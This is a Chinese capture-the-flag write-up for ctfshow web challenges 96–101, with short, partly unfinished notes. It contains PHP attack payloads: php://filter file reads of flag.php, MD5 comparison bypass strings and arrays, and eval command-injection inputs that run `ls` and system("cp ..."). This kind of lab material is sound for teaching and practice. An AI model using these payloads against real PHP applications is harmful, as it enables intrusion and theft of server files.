web入门96
payload:?u=./flag.php (./表示当前目录)
?u=/var/www/html/flag.php
?u=php://filter/read=string.rot13/resource=flag.php
然后再rot13编码
?u=php://filter/read=convert.base64-encode/resource=flag.php (同理)
web入门97
非常典的一题,让你字符串不同,md5相同,前面做过
注意这里是强比较
如果是弱比较,我们可以用0e绕过
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
但是这题是强比较,有两种方法:
a[]=1&b[]=2
md5无法对数组加密,对数组加密返回的是nul
找出真正意义上数据不同md5相同
但是吧,我在网路上找了几个好像都不行,而且别的师傅有成功截图的数据再我这也跑不通(奇怪)
这里放个别的师傅的wp
web入门98
随手试一下就出来了,那么是什么思意嘞?
这里出现了 PHP 中的三元运算符:形如 XXXX?XX:xx
如果条件 XXXX 成立,则执行冒号前边的 XX,否则执行冒号后面的 xx
比如:isset($_GET['id']) ? $_GET['id'] : 1;
isset()函数用于检查变量是否设置,如果设置了,则 id=$_GET['id'],否则 id=1
这个是判断HTTP_FLAG是否=flag,是的话输出flag,否的话高亮文件
第1行:如果有GET提交,那么$_POST 的引用赋值给 $_GET,引用赋值导致两个变量指向同一个内存地址(两个指针指向一个地址),故 $_POST 变量内容改变会影响 $_GET 变量的内容
or根据第2行,同理
web入门99
建立一个空数组allow,然后从36开始,循环到0x36d(877),并将(1~877)的(877-36)个随机数
填入数组
然后检查是否设置了名为 n 的 GET 参数,它的值是否在 $allow 数组中
是的话就将post提交内容写入n
因为in_array此时没有第三个参数,默认是弱比较,故例如1.php会视为1
故
web入门100
这里涉及is_numeric函数,即判断是否为数字字符
关于and
故我们只需保证v1是数字即可
同时还要满足v2没有; v3有;
还有:v2=var_dump($ctfshow)
v2=print_r($ctfshow)
v2=var_export($ctfshow)
?v1=1&v2=echo new ReflectionClass&v3=;
就是eval("echo new ReflectionClass('ctfshow');");
ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出
也可以用%23(#)注释掉v3
用反引号也行
?v1=1&v2=echo`ls`?>&v3=;
当然,也可以复制文件
v2=system("cp ctfshow.php 114.txt")
当然上面所有flag中的 0x2d都要变成-
web入门101
加了一堆过滤,但是没有字母,意思就是让我们用reflectionclass
提示说
爆破(但是因为已经提交过了无法再次提交,就没有显示)